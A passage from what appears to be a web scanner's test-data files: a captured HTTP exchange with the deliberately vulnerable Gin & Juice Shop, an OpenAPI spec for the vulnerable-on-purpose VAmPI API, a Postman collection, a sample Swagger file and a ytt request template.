    "content": "timestamp: 2024-02-20T19:24:13+05:30\nurl: https://ginandjuice.shop/blog/post?postId=3&source=proxify\nrequest:\n  header:\n    Accept-Encoding: gzip\n    Connection: close\n    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36\n    host: ginandjuice.shop\n    method: GET\n    path: /blog/post\n    scheme: https\n  raw: |+\n    GET /blog/post?postId=3&source=proxify HTTP/1.1\n    Host: ginandjuice.shop\n    Accept-Encoding: gzip\n    Connection: close\n    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36\n\nresponse:\n  header:\n    Content-Encoding: gzip\n    Content-Type: text/html; charset=utf-8\n    Date: Tue, 20 Feb 2024 13:54:13 GMT\n    Set-Cookie: AWSALB=9l3X2bRs5JVQp5cO8o7xLckrdo3FZIQzbS0ga0n4ctfDApb/nn0K6AiSLLAMbG7CCDHqKOj9kQdyj6T2RzBDULszJ+2Oy8KcyuOKhFsCGVTVabnJTkVwhyXLciFt; Expires=Tue, 27 Feb 2024 13:54:13 GMT; Path=/, AWSALBCORS=9l3X2bRs5JVQp5cO8o7xLckrdo3FZIQzbS0ga0n4ctfDApb/nn0K6AiSLLAMbG7CCDHqKOj9kQdyj6T2RzBDULszJ+2Oy8KcyuOKhFsCGVTVabnJTkVwhyXLciFt; Expires=Tue, 27 Feb 2024 13:54:13 GMT; Path=/; SameSite=None; Secure, session=ymwLa8dKmWjLl43BBpQnrp5LkFZraYkp; Secure; HttpOnly; SameSite=None\n    X-Backend: ea6c1d8c-a8e5-4bef-b8db-879bbb13cf62\n    X-Frame-Options: SAMEORIGIN\n  raw: |+\n    HTTP/1.1 200 OK\n    Connection: close\n    Content-Encoding: gzip\n    Content-Type: text/html; charset=utf-8\n    Date: Tue, 20 Feb 2024 13:54:13 GMT\n    Set-Cookie: AWSALB=9l3X2bRs5JVQp5cO8o7xLckrdo3FZIQzbS0ga0n4ctfDApb/nn0K6AiSLLAMbG7CCDHqKOj9kQdyj6T2RzBDULszJ+2Oy8KcyuOKhFsCGVTVabnJTkVwhyXLciFt; Expires=Tue, 27 Feb 2024 13:54:13 GMT; Path=/\n    Set-Cookie: AWSALBCORS=9l3X2bRs5JVQp5cO8o7xLckrdo3FZIQzbS0ga0n4ctfDApb/nn0K6AiSLLAMbG7CCDHqKOj9kQdyj6T2RzBDULszJ+2Oy8KcyuOKhFsCGVTVabnJTkVwhyXLciFt; Expires=Tue, 27 Feb 2024 13:54:13 GMT; Path=/; SameSite=None; Secure\n    Set-Cookie: session=ymwLa8dKmWjLl43BBpQnrp5LkFZraYkp; Secure; HttpOnly; SameSite=None\n    X-Backend: ea6c1d8c-a8e5-4bef-b8db-879bbb13cf62\n    X-Frame-Options: SAMEORIGIN\n\n---\ntimestamp: 2024-02-20T19:24:13+05:32\nurl: https://ginandjuice.shop/users/3\nrequest:\n  header:\n    Accept-Encoding: gzip\n    Authorization: Bearer 3x4mpl3t0k3n\n    Connection: close\n    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36\n    host: ginandjuice.shop\n    method: POST\n    path: /catalog/product\n    scheme: https\n  raw: |+\n    POST /catalog/product?productId=3 HTTP/1.1\n    Host: ginandjuice.shop\n    Authorization: Bearer 3x4mpl3t0k3n\n    Accept-Encoding: gzip\n    Connection: close\n    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36\n\nresponse:\n  header:\n    Content-Encoding: gzip\n    Content-Type: text/html; charset=utf-8\n    Date: Tue, 20 Feb 2024 13:54:13 GMT\n    Set-Cookie: AWSALB=Rzm8ZSSL/yQq1mG1SdGmWAahqexWvOcjIhlNKm0wBnk4jvY3Hdy3mRc+NKoMRNJ2RW+FNbtRk7DX+itnfzjMvKNpwtLWWAafxeKybc+v351g0MsLycRNQF5fG78y; Expires=Tue, 27 Feb 2024 13:54:13 GMT; Path=/, AWSALBCORS=Rzm8ZSSL/yQq1mG1SdGmWAahqexWvOcjIhlNKm0wBnk4jvY3Hdy3mRc+NKoMRNJ2RW+FNbtRk7DX+itnfzjMvKNpwtLWWAafxeKybc+v351g0MsLycRNQF5fG78y; Expires=Tue, 27 Feb 2024 13:54:13 GMT; Path=/; SameSite=None; Secure, session=fFcCUjmQguQy820Y8xrnRypp3KBWSPk6; Secure; HttpOnly; SameSite=None\n    X-Backend: 2235790d-f089-4324-8ac0-f64cc96f2460\n    X-Frame-Options: SAMEORIGIN\n  body: |\n    <!DOCTYPE html>\n    <html>\n        <head>\n            <link href=/resources/labheader/css/scanMeHeader.css rel=stylesheet>\n            <link href=/resources/css/labsScanme.css rel=stylesheet>\n            <meta name=\"viewport\" content=\"width=device-width, user-scalable=no\">\n            <script src=\"/resources/js/react.development.js\"></script>\n            <script src=\"/resources/js/react-dom.development.js\"></script>\n            <script type=\"text/javascript\" src=\"/resources/js/angular_1-7-7.js\"></script>\n            <title>Fruit Overlays - Product - Gin &amp; Juice Shop</title>\n        </head>\n        <body ng-app>\n            <div id=\"scanMeHeader\">\n                <section class=\"header-description\">\n                    <p>\n                        This is a deliberately vulnerable web application designed for testing web&nbsp;vulnerability&nbsp;scanners.\n                        <span class=\"link\" onmouseenter=\"window.__x1 = 1\" onmouseover=\"window.__x2 = 1\" onmousemove=\"window.__x3 = 1\"  onmousedown=\"window.__x4 = 1\" onmouseup=\"if (window.__x1 && window.__x2 && window.__x3 && window.__x4) location = atob('L3Z1bG5lcmFiaWxpdGllcw==')\" onmouseleave=\"delete window.__x1; delete window.__x2; delete window.__x3; delete window.__x4\">Put your scanner to the test!</span>\n                    </p>\n                </section>\n                <section class='scanMeBanner'>\n                    <div class=container>\n                        <a href='/'>\n                            <div class=scanme-logo></div>\n                        </a>\n                        <div class=title-container>\n                            <nav>\n                                <ul class=\"navigation-header-links primary-links\">\n                                    <li>\n                                        <a class=\"button selected\" href=\"/catalog\">Products</a>\n                                    </li>\n                                    <li>\n                                        <a class=\"button\" href=\"/blog\">Blog</a>\n                                    </li>\n                                    <li>\n                                        <a class=\"button\" href=\"/about\">Our story</a>\n                                    </li>\n                                </ul>\n                                <ul class=\"navigation-header-links secondary-links\">\n                                    <li>\n                                        <a class=\"account-icon\" href=\"/my-account\"><svg><use href=\"/resources/images/icon-account.svg#account-icon\"></use></svg></a>\n                                        <ul>\n                                            <li>\n                                                <a class=\"button\" href=\"/my-account\">Log in</a>\n                                            </li>\n                                            <li>\n                                                <a class=\"button\" href=\"/my-account\">My account</a>\n                                            </li>\n                                        </ul>\n                                    </li>\n                                    <li>\n                                        <a class=\"cart-icon\" href=\"/catalog/cart\"><span>0</span><svg><use href=\"/resources/images/icon-cart.svg#cart-icon\"></use></svg></a>\n                                    </li>\n                                    <li class=\"nav-toggle\"><a class=\"nav-trigger\"><span></span><span></span><span></span></a></li>\n                                </ul>\n                            </nav>\n                        </div>\n                    </div>\n                </section>\n            </div>\n            <div theme=\"ecommerce-product\">\n                <section class=\"maincontainer\">\n                    <div class=\"container is-page\">\n                        <header class=\"notification-header\">\n                        </header>\n                        <ul class=\"breadcrumbs\">\n                            <li><a href=\"/\">Home</a></li>\n                            <li><a href=\"/catalog\">Products</a></li>\n                            <li>Fruit Overlays</li>\n                        </ul>\n                        <section class=\"product\">\n                            <div>\n                                <img class=\"product-image\" src=\"/image/scanme/productcatalog/products/10.png\">\n                            </div>\n                            <div>\n                                <h3>Fruit Overlays</h3>\n                                <img class=\"product-image\" src=\"/image/scanme/productcatalog/products/10.png\">\n                                <span class=\"price-rating\">\n                                    <span class=\"price\">\n                                        $92.79\n                                    </span>\n                                    <img src=\"/resources/images/rating3.png\">\n                                </span>\n                                <span class=\"description\">\n                                    <label>Description:</label>\n                                    <p>When it comes to hospitality presentation is key, and nothing looks better than a well-dressed drink. We know gin fans like plenty of fruit in their glasses, some a bit more than they really need, but hey ho, each to their own. But what about fruit not inside your glass, but classily arranged over your glass? In comes Fruitus overlayus, the best way to jazz up any party. The possible colour combinations are endless, just picture that! All you need is a nice selection of small fruits, or maybe even use our Fruit Curliwurlier to add a dash of even more drama, and we will do the rest. This one is a real winner at our Christmas and New year’s outings, give it a go and turn some heads.</p>\n    <p>CONTENTS: 12 cocktail sticks.</p>\n    <p>HOW TO USE: Let your creative juices flow (Pun intended), and spend some time working on your colour coordination, try not to think too much about it, just do it! Pick up one of the Fruitus overlayus sticks and carefully slide the fruit along until there is a small space on either end of the stick. Balance the stick across the rim of the glass. Ta-Da! Your first fruit overlay. Keep going until you have as many overlays as you need. You can always purchase more at any time with a discount on bulk buys.</p>\n                                </span>\n                                <span class=\"stock-check\">\n                                    <form id=\"stockCheckForm\" action=\"/catalog/product/stock\" method=\"POST\">\n                                        <input required type=\"hidden\" name=\"productId\" value=\"3\">\n                                        <select name=\"storeId\">\n                                            <option value=\"1\" >London</option>\n                                            <option value=\"2\" >Paris</option>\n                                            <option value=\"3\" >Milan</option>\n                                        </select>\n                                        <button type=\"submit\" class=\"button\">Check stock</button>\n                                    </form>\n                                    <span id=\"stockCheckResult\"></span>\n                                    <script src=\"/resources/js/xmlStockCheckPayload.js\"></script>\n                                    <script src=\"/resources/js/stockCheck.js\"></script>\n                                </span>\n                                <span class=\"cart-button\">\n                                    <form id=addToCartForm action=/catalog/cart method=POST>\n                                        <input required type=hidden name=productId value=3>\n                                        <input required type=hidden name=redir value=PRODUCT>\n                                        <select class='product-quantity' required name=quantity>\n                                            <option value=\"1\" selected>1</option>\n                                            <option value=\"2\">2</option>\n                                            <option value=\"3\">3</option>\n                                            <option value=\"4\">4</option>\n                                            <option value=\"5\">5</option>\n                                            <option value=\"6\">6</option>\n                                            <option value=\"7\">7</option>\n                                            <option value=\"8\">8</option>\n                                            <option value=\"9\">9</option>\n                                            <option value=\"10\">10</option>\n                                            <option value=\"11\">11</option>\n                                            <option value=\"12\">12</option>\n                                            <option value=\"13\">13</option>\n                                            <option value=\"14\">14</option>\n                                            <option value=\"15\">15</option>\n                                        </select>\n                                        <button type=submit class=button>Add to cart</button>\n                                    </form>\n                                </span>\n                                <span class=\"view-cart-button\">\n                                    <a class=\"button\" href=\"/catalog/cart\">View cart</a>\n                                </span>\n                            </div>\n                        </section>\n                    </div>\n                </section>\n                <div class=\"footer-wrapper\">\n                    <section class=\"footer\">\n                        <div class=\"footer-left\"></div>\n                        <div class=\"footer-center\">\n                            <h2>Never miss a deal - subscribe now</h2>\n                            <p>Join our worldwide community of gin and juice fanatics, for exclusive news on our latest deals, new releases, collaborations, and more.</p>\n                            <script src='/resources/js/subscribeNow.js'></script>\n                            <div id=\"subscribe\" class=\"form\" data-method=\"post\" data-action=\"/catalog/subscribe\">\n                                <input required type=email name=email placeholder=\"Email address\">\n                                <input required type=\"hidden\" name=\"csrf\" value=\"ALUrIPu21ygHSGadxsA8u70XnVcY4V4k\">\n                                <button class=\"button\" type=submit>Subscribe</button>\n                            </div>\n                            <dialog id=\"coupon-dialog\">\n                                <div class=\"coupon-wrapper\">\n                                    <button class=\"close-button\" onclick=\"closeCouponDialog(event)\"></button>\n                                    <div class=\"coupon-info\">\n                                        <h1>20% off everything</h1>\n                                        <div class=\"coupon-input\">\n                                            <h3 id=\"copyable-coupon\">Coupon not found</h3>\n                                            <button id=\"copy-coupon-button\" class=\"copy-button\" onclick=\"copyCoupon(event)\"></button>\n                                            <div id=\"coupon-copied-tick\" class=\"coupon-copied-tick hidden\"></div>\n                                        </div>\n                                        <p>Apply this coupon to your Shopping Cart before placing your order.</p>\n                                    </div>\n                                </div>\n                            </dialog>\n                            <div class=\"footer-copyright\">\n                                <div class=\"portswigger-logo\"></div>\n                                <div>© 2023 PortSwigger Ltd.</div>\n                            </div>\n                        </div>\n                        <div class=\"footer-right\"></div>\n                    </section>\n                    <section class=\"footer-lower\">\n                        <div class=\"footerNavigation\">\n                            <div class=\"socialLinks\">\n                            </div>\n                            <nav>\n                                <ul class=\"navigation-header-links primary-links\">\n                                    <li>\n                                        <a class=\"button selected\" href=\"/catalog\">Products</a>\n                                    </li>\n                                    <li>\n                                        <a class=\"button\" href=\"/blog\">Blog</a>\n                                    </li>\n                                    <li>\n                                        <a class=\"button\" href=\"/about\">Our story</a>\n                                    </li>\n                                </ul>\n                            </nav>\n                        </div>\n                    </section>\n                </div>\n            </div>\n            <script src='/resources/footer/js/scanme.js'></script>\n        </body>\n    </html>\n  raw: |+\n    HTTP/1.1 200 OK\n    Connection: close\n    Content-Encoding: gzip\n    Content-Type: text/html; charset=utf-8\n    Date: Tue, 20 Feb 2024 13:54:13 GMT\n    Set-Cookie: AWSALB=Rzm8ZSSL/yQq1mG1SdGmWAahqexWvOcjIhlNKm0wBnk4jvY3Hdy3mRc+NKoMRNJ2RW+FNbtRk7DX+itnfzjMvKNpwtLWWAafxeKybc+v351g0MsLycRNQF5fG78y; Expires=Tue, 27 Feb 2024 13:54:13 GMT; Path=/\n    Set-Cookie: AWSALBCORS=Rzm8ZSSL/yQq1mG1SdGmWAahqexWvOcjIhlNKm0wBnk4jvY3Hdy3mRc+NKoMRNJ2RW+FNbtRk7DX+itnfzjMvKNpwtLWWAafxeKybc+v351g0MsLycRNQF5fG78y; Expires=Tue, 27 Feb 2024 13:54:13 GMT; Path=/; SameSite=None; Secure\n    Set-Cookie: session=fFcCUjmQguQy820Y8xrnRypp3KBWSPk6; Secure; HttpOnly; SameSite=None\n    X-Backend: 2235790d-f089-4324-8ac0-f64cc96f2460\n    X-Frame-Options: SAMEORIGIN"
  },
  {
    "path": "pkg/input/formats/testdata/openapi.yaml",
    "content": "openapi: 3.1.0\ninfo:\n  title: VAmPI\n  description: OpenAPI v3 specs for VAmPI\n  version: '0.1'\nservers:\n  - url: http://hackthebox:5000\ncomponents: {}\npaths:\n  /createdb:\n    get:\n      tags:\n        - db-init\n      summary: Creates and populates the database with dummy data\n      description: Creates and populates the database with dummy data\n      operationId: api_views.main.populate_db\n      responses:\n        '200':\n          description: Creates and populates the database with dummy data\n          content:\n            application/json:\n              schema:\n                type: object\n                properties:\n                  message:\n                    type: string\n                    example: 'Database populated.'\n  /:\n    get:\n      tags:\n        - home\n      summary: VAmPI home\n      description: >-\n        VAmPI is a vulnerable on purpose API. It was created in order to\n        evaluate the efficiency of third party tools in identifying\n        vulnerabilities in APIs but it can also be used in learning/teaching\n        purposes.\n      operationId: api_views.main.basic\n      responses:\n        '200':\n          description: Home - Help\n          content:\n            application/json:\n              schema:\n                type: object\n                properties:\n                  message:\n                    type: string\n                    example: 'VAmPI the Vulnerable API'\n                  help:\n                    type: string\n                    example: 'VAmPI is a vulnerable on purpose API. It was created in order to evaluate the efficiency of third party tools in identifying vulnerabilities in APIs but it can also be used in learning/teaching purposes.'\n                  vulnerable:\n                    type: number\n                    example: 1\n  /users/v1:\n    get:\n      tags:\n        - users\n      summary: Retrieves all users\n      description: Displays all users with basic information\n      operationId: api_views.users.get_all_users\n      responses:\n        '200':\n          description: See basic info about all users\n          content:\n            application/json:\n              schema:\n                type: array\n                items:\n                  type: object\n                  properties:\n                    email:\n                      type: string\n                      example: 'mail1@mail.com'\n                    username:\n                      type: string\n                      example: 'name1'\n  /users/v1/_debug:\n    get:\n      tags:\n        - users\n      summary: Retrieves all details for all users\n      description: Displays all details for all users\n      operationId: api_views.users.debug\n      responses:\n        '200':\n          description: See all details of the users\n          content:\n            application/json:\n              schema:\n                type: array\n                items:\n                  type: object\n                  properties:\n                    admin:\n                      type: boolean\n                      example: false\n                    email:\n                      type: string\n                      example: 'mail1@mail.com'\n                    password:\n                      type: string\n                      example: 'pass1'\n                    username:\n                      type: string\n                      example: 'name1'\n  /users/v1/register:\n    post:\n      tags:\n        - users\n      summary: Register new user\n      description: Register new user\n      operationId: api_views.users.register_user\n      requestBody:\n        description: Username of the user\n        content:\n          application/json:\n            schema:\n              type: object\n              properties:\n                username:\n                  type: string\n                  example: 'John.Doe'\n                password:\n                  type: string\n                  example: 'password123'\n                email:\n                  type: string\n                  example: 'user@tempmail.com'\n        required: true\n      responses:\n        '200':\n          description: Successfully created user\n          content:\n            application/json:\n              schema:\n                type: object\n                properties:\n                  message:\n                    type: string\n                    example: 'Successfully registered. Login to receive an auth token.'\n                  status:\n                    type: string\n                    enum: ['success', 'fail']\n                    example: 'success'\n        '400':\n          description: Invalid request\n          content: {}\n  /users/v1/login:\n    post:\n      tags:\n        - users\n      summary: Login to VAmPI\n      description: Login to VAmPI\n      operationId: api_views.users.login_user\n      requestBody:\n        description: Username of the user\n        content:\n          application/json:\n            schema:\n              type: object\n              properties:\n                username:\n                  type: string\n                  example: 'John.Doe'\n                password:\n                  type: string\n                  example: 'password123'\n        required: true\n      responses:\n        '200':\n          description: Successfully logged in user\n          content:\n            application/json:\n                schema:\n                  type: object\n                  properties:\n                    auth_token:\n                      type: string\n                      example: 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NzAxNjA2MTcsImlhdCI6MTY3MDE2MDU1Nywic3ViIjoiSm9obi5Eb2UifQ.n17N4AxTbL4_z65-NR46meoytauPDjImUxrLiUMSTQw'\n                    message:\n                      type: string\n                      example: 'Successfully logged in.'\n                    status:\n                      type: string\n                      enum: ['success', 'fail']\n                      example: 'success'\n        '400':\n          description: Invalid request\n          content:\n            application/json:\n              schema:\n                type: object\n                properties:\n                  status:\n                    type: string\n                    enum: ['fail']\n                    example: 'fail'\n                  message:\n                    type: string\n                    example: 'Password is not correct for the given username.'\n  /users/v1/{username}:\n    get:\n      tags:\n        - users\n      summary: Retrieves user by username\n      description: Displays user by username\n      operationId: api_views.users.get_by_username\n      parameters:\n        - name: username\n          in: path\n          description: retrieve username data\n          required: true\n          schema:\n            type: string\n            example: 'John.Doe'\n      responses:\n        '200':\n          description: Successfully display user info\n          content:\n            application/json:\n              schema:\n                type: array\n                items:\n                  type: object\n                  properties:\n                    username:\n                      type: string\n                      example: 'John.Doe'\n                    email:\n                      type: string\n                      example: 'user@tempmail.com'\n        '404':\n          description: User not found\n          content:\n            application/json:\n              schema:\n                type: object\n                properties:\n                  status:\n                    type: string\n                    enum: ['fail']\n                    example: 'fail'\n                  message:\n                    type: string\n                    example: 'User not found'\n\n    delete:\n      tags:\n        - users\n      summary: Deletes user by username (Only Admins)\n      description: Deletes user by username (Only Admins)\n      operationId: api_views.users.delete_user\n      parameters:\n        - name: username\n          in: path\n          description: Delete username\n          required: true\n          schema:\n            type: string\n            example: 'name1'\n      responses:\n        '200':\n          description: Successfully deleted user\n          content:\n            application/json:\n              schema:\n                type: object\n                properties:\n                  message:\n                    type: string\n                    example: 'User deleted.'\n                  status:\n                    type: string\n                    enum: ['success', 'fail']\n                    example: 'success'\n        '401':\n          description: User not authorized\n          content:\n            application/json:\n              schema:\n                type: object\n                properties:\n                  status:\n                    type: string\n                    example: 'fail'\n                    enum: ['fail']\n                  message:\n                    type: string\n                    example: 'Only Admins may delete users!'\n        '404':\n          description: User not found\n          content:\n            application/json:\n              schema:\n                type: object\n                properties:\n                  status:\n                    type: string\n                    example: 'fail'\n                    enum: ['fail']\n                  message:\n                    type: string\n                    example: 'User not found!'\n  /users/v1/{username}/email:\n    put:\n      tags:\n        - users\n      summary: Update users email\n      description: Update a single users email\n      operationId: api_views.users.update_email\n      parameters:\n        - name: username\n          in: path\n          description: username to update email\n          required: true\n          schema:\n            type: string\n            example: 'name1'\n      requestBody:\n        description: field to update\n        content:\n          application/json:\n            schema:\n              type: object\n              properties:\n                email:\n                  type: string\n                  example: 'mail3@mail.com'\n        required: true\n      responses:\n        '204':\n          description: Successfully updated user email\n          content: {}\n        '400':\n          description: Invalid request\n          content:\n            application/json:\n              schema:\n                type: object\n                properties:\n                  status:\n                    type: string\n                    enum: ['fail']\n                    example: 'fail'\n                  message:\n                    type: string\n                    example: 'Please Provide a valid email address.'\n        '401':\n          description: User not authorized\n          content:\n            application/json:\n              schema:\n                type: object\n                properties:\n                  status:\n                    type: string\n                    enum: ['fail']\n                    example: 'fail'\n                  message:\n                    type: string\n                    example: 'Invalid Token'\n  /users/v1/{username}/password:\n    put:\n      tags:\n        - users\n      summary: Update users password\n      description: Update users password\n      operationId: api_views.users.update_password\n      parameters:\n        - name: username\n          in: path\n          description: username to update password\n          required: true\n          schema:\n            type: string\n            example: 'name1'\n      requestBody:\n        description: field to update\n        content:\n          application/json:\n            schema:\n              type: object\n              properties:\n                password:\n                  type: string\n                  example: 'pass4'\n        required: true\n      responses:\n        '204':\n          description: Successfully updated users password\n          content: {}\n        '400':\n          description: Invalid request\n          content:\n            application/json:\n              schema:\n                type: object\n                properties:\n                  status:\n                    type: string\n                    enum: ['fail']\n                    example: 'fail'\n                  message:\n                    type: string\n                    example: 'Malformed Data'\n        '401':\n          description: User not authorized\n          content:\n            application/json:\n              schema:\n                type: object\n                properties:\n                  status:\n                    type: string\n                    enum: ['fail']\n                    example: 'fail'\n                  message:\n                    type: string\n                    example: 'Invalid Token'\n  /books/v1:\n    get:\n      tags:\n        - books\n      summary: Retrieves all books\n      description: Retrieves all books\n      operationId: api_views.books.get_all_books\n      responses:\n        '200':\n          description: See all books\n          content:\n            application/json:\n              schema:\n                type: object\n                properties:\n                  Books:\n                    type: array\n                    items:\n                      type: object\n                      properties:\n                        book_title:\n                          type: string\n                        user:\n                          type: string\n              example:\n                Books:\n                  - book_title: 'bookTitle77'\n                    user: 'name1'\n                  - book_title: 'bookTitle85'\n                    user: 'name2'\n                  - book_title: 'bookTitle47'\n                    user: 'admin'\n    post:\n      tags:\n        - books\n      summary: Add new book\n      description: Add new book\n      operationId: api_views.books.add_new_book\n      requestBody:\n        description: >-\n          Add new book with title and secret content only available to the user\n          who added it.\n        content:\n          application/json:\n            schema:\n              type: object\n              properties:\n                book_title:\n                  type: string\n                  example: 'book99'\n                secret:\n                  type: string\n                  example: 'pass1secret'\n        required: true\n      responses:\n        '200':\n          description: Successfully added a book\n          content:\n            application/json:\n              schema:\n                type: object\n                properties:\n                  message:\n                    type: string\n                    example: 'Book has been added.'\n                  status:\n                    type: string\n                    enum: ['success', 'fail']\n                    example: 'success'\n        '400':\n          description: Invalid request\n          content:\n            application/json:\n              schema:\n                type: object\n                properties:\n                  status:\n                    type: string\n                    enum: ['fail']\n                    example: 'fail'\n                  message:\n                    type: string\n                    example: 'Book Already exists!'\n        '401':\n          description: User not authorized\n          content:\n            application/json:\n              schema:\n                type: object\n                properties:\n                  status:\n                    type: string\n                    enum: ['fail']\n                    example: 'fail'\n                  message:\n                    type: string\n                    example: 'Invalid Token'\n  /books/v1/{book_title}:\n    get:\n      tags:\n        - books\n      summary: Retrieves book by title along with secret\n      description: >-\n        Retrieves book by title along with secret. Only the owner may retrieve\n        it\n      operationId: api_views.books.get_by_title\n      parameters:\n        - name: book_title\n          in: path\n          description: retrieve book data\n          required: true\n          schema:\n            type: string\n            example: 'bookTitle77'\n      responses:\n        '200':\n          description: Successfully retrieve book info\n          content:\n            application/json:\n              schema:\n                type: array\n                items:\n                  type: object\n                  properties:\n                    book_title:\n                      type: string\n                      example: 'bookTitle77'\n                    owner:\n                      type: string\n                      example: 'name1'\n                    secret:\n                      type: string\n                      example: 'secret for bookTitle77'\n        '401':\n          description: User not authorized\n          content:\n            application/json:\n              schema:\n                type: object\n                properties:\n                  status:\n                    type: string\n                    enum: ['fail']\n                    example: 'fail'\n                  message:\n                    type: string\n                    example: 'Invalid Token'\n        '404':\n          description: Book not found\n          content:\n            application/json:\n              schema:\n                type: object\n                properties:\n                  status:\n                    type: string\n                    enum: ['fail']\n                    example: 'fail'\n                  message:\n                    type: string\n                    example: 'Book not found!'"
  },
  {
    "path": "pkg/input/formats/testdata/postman.json",
    "content": "{\n  \"info\": {\n    \"_postman_id\": \"20a3fd41-6a86-4e49-8860-f796559d0223\",\n    \"name\": \"advancedsearch\",\n    \"schema\": \"https://schema.getpostman.com/json/collection/v2.1.0/collection.json\"\n  },\n  \"item\": [\n    {\n      \"name\": \"List Projects, Assets and Hosts\",\n      \"protocolProfileBehavior\": {\n        \"disableBodyPruning\": true\n      },\n      \"request\": {\n        \"method\": \"GET\",\n        \"header\": [\n          {\n            \"key\": \"Content-Type\",\n            \"name\": \"Content-Type\",\n            \"value\": \"application/json\",\n            \"type\": \"text\"\n          }\n        ],\n        \"body\": {\n          \"mode\": \"raw\",\n          \"raw\": \"\",\n          \"options\": {\n            \"raw\": {\n              \"language\": \"json\"\n            }\n          }\n        },\n        \"url\": {\n          \"raw\": \"http://127.0.0.1:8000/api/v1/search/\",\n          \"protocol\": \"http\",\n          \"host\": [\"127\", \"0\", \"0\", \"1\"],\n          \"port\": \"8000\",\n          \"path\": [\"api\", \"v1\", \"search\", \"\"]\n        }\n      },\n      \"response\": []\n    },\n    {\n      \"name\": \"List Assets and Hosts\",\n      \"protocolProfileBehavior\": {\n        \"disableBodyPruning\": true\n      },\n      \"request\": {\n        \"method\": \"GET\",\n        \"header\": [\n          {\n            \"key\": \"Content-Type\",\n            \"name\": \"Content-Type\",\n            \"type\": \"text\",\n            \"value\": \"application/json\"\n          }\n        ],\n        \"body\": {\n          \"mode\": \"raw\",\n          \"raw\": \"\",\n          \"options\": {\n            \"raw\": {\n              \"language\": \"json\"\n            }\n          }\n        },\n        \"url\": {\n          \"raw\": \"http://127.0.0.1:8000/api/v1/search/?projectId=1,2\",\n          \"protocol\": \"http\",\n          \"host\": [\"127\", \"0\", \"0\", \"1\"],\n          \"port\": \"8000\",\n          \"path\": [\"api\", \"v1\", \"search\", \"\"],\n          \"query\": [\n            {\n              \"key\": \"projectId\",\n              \"value\": \"1,2\"\n            }\n          ]\n        }\n      },\n      \"response\": []\n    },\n    {\n      \"name\": \"List Hosts\",\n      \"protocolProfileBehavior\": {\n        \"disableBodyPruning\": true\n      },\n      \"request\": {\n        \"method\": \"GET\",\n        \"header\": [\n          {\n            \"key\": \"Content-Type\",\n            \"name\": \"Content-Type\",\n            \"type\": \"text\",\n            \"value\": \"application/json\"\n          }\n        ],\n        \"body\": {\n          \"mode\": \"raw\",\n          \"raw\": \"\",\n          \"options\": {\n            \"raw\": {\n              \"language\": \"json\"\n            }\n          }\n        },\n        \"url\": {\n          \"raw\": \"http://127.0.0.1:8000/api/v1/search/?projectId=1,2&assetId=1,2\",\n          \"protocol\": \"http\",\n          \"host\": [\"127\", \"0\", \"0\", \"1\"],\n          \"port\": \"8000\",\n          \"path\": [\"api\", \"v1\", \"search\", \"\"],\n          \"query\": [\n            {\n              \"key\": \"projectId\",\n              \"value\": \"1,2\"\n            },\n            {\n              \"key\": \"assetId\",\n              \"value\": \"1,2\"\n            }\n          ]\n        }\n      },\n      \"response\": []\n    },\n    {\n      \"name\": \"Search Request\",\n      \"request\": {\n        \"method\": \"POST\",\n        \"header\": [\n          {\n            \"key\": \"Content-Type\",\n            \"name\": \"Content-Type\",\n            \"value\": \"application/json\",\n            \"type\": \"text\"\n          }\n        ],\n        \"body\": {\n          \"mode\": \"raw\",\n          \"raw\": \"{\\n\\t\\\"query\\\": \\\"query\\\",\\n\\t\\\"projectId\\\": [4,3,4],\\n\\t\\\"assetId\\\": [2,3,4],\\n\\t\\\"hostId\\\": [1,2,3],\\n    \\\"limit\\\": 10,\\n    \\\"offset\\\": 10\\n}\",\n          \"options\": {\n            \"raw\": {\n              \"language\": \"json\"\n            }\n          }\n        },\n        \"url\": {\n          \"raw\": \"http://127.0.0.1:8000/api/v1/search/\",\n          \"protocol\": \"http\",\n          \"host\": [\"127\", \"0\", \"0\", \"1\"],\n          \"port\": \"8000\",\n          \"path\": [\"api\", \"v1\", \"search\", \"\"]\n        }\n      },\n      \"response\": []\n    }\n  ],\n  \"protocolProfileBehavior\": {}\n}\n"
  },
  {
    "path": "pkg/input/formats/testdata/swagger.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: Sample API\n  description: API description in Markdown.\n  version: 1.0.0\nhost: localhost\nbasePath: /v1\nschemes:\n  - https\npaths:\n  /users:\n    get:\n      summary: Returns a list of users.\n      description: Optional extended description in Markdown.\n      produces:\n        - application/json\n      responses:\n        200:\n          description: OK\n  /users/{userId}:\n    get:\n      summary: Returns a user by ID.\n      parameters:\n        - in: path\n          name: userId\n          required: true\n          type: integer\n          default: 1\n          description: Parameter description in Markdown.\n        - in: query\n          name: test\n          type: string\n          enum: [asc, desc]\n          description: Type of query\n      responses:\n        200:\n          description: OK"
  },
  {
    "path": "pkg/input/formats/testdata/ytt/ginandjuice.ytt.yaml",
    "content": "#@ load(\"@ytt:data\", \"data\")\n#@ load(\"@ytt:json\", \"json\")\n\n#@ def get_value(key, default=\"\"):\n#@   if hasattr(data.values, key):\n#@     return str(getattr(data.values, key))\n#@   else:\n#@     return default\n#@   end\n#@ end\n\ntimestamp: 2024-02-20T19:24:13+05:32\nurl: https://ginandjuice.shop/users/3\nrequest:\n  #@yaml/text-templated-strings\n  raw: |+\n    POST /users/3 HTTP/1.1\n    Host: ginandjuice.shop\n    Authorization: Bearer (@= get_value(\"token\", \"3x4mpl3t0k3n\") @)\n    Accept-Encoding: gzip\n    Content-Type: application/x-www-form-urlencoded\n    Connection: close\n    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36\n\n    foo=(@= json.encode(data.values.foo) @)&bar=(@= get_value(\"bar\") @)&debug=(@= get_value(\"debug\", \"false\") @)"
  },
  {
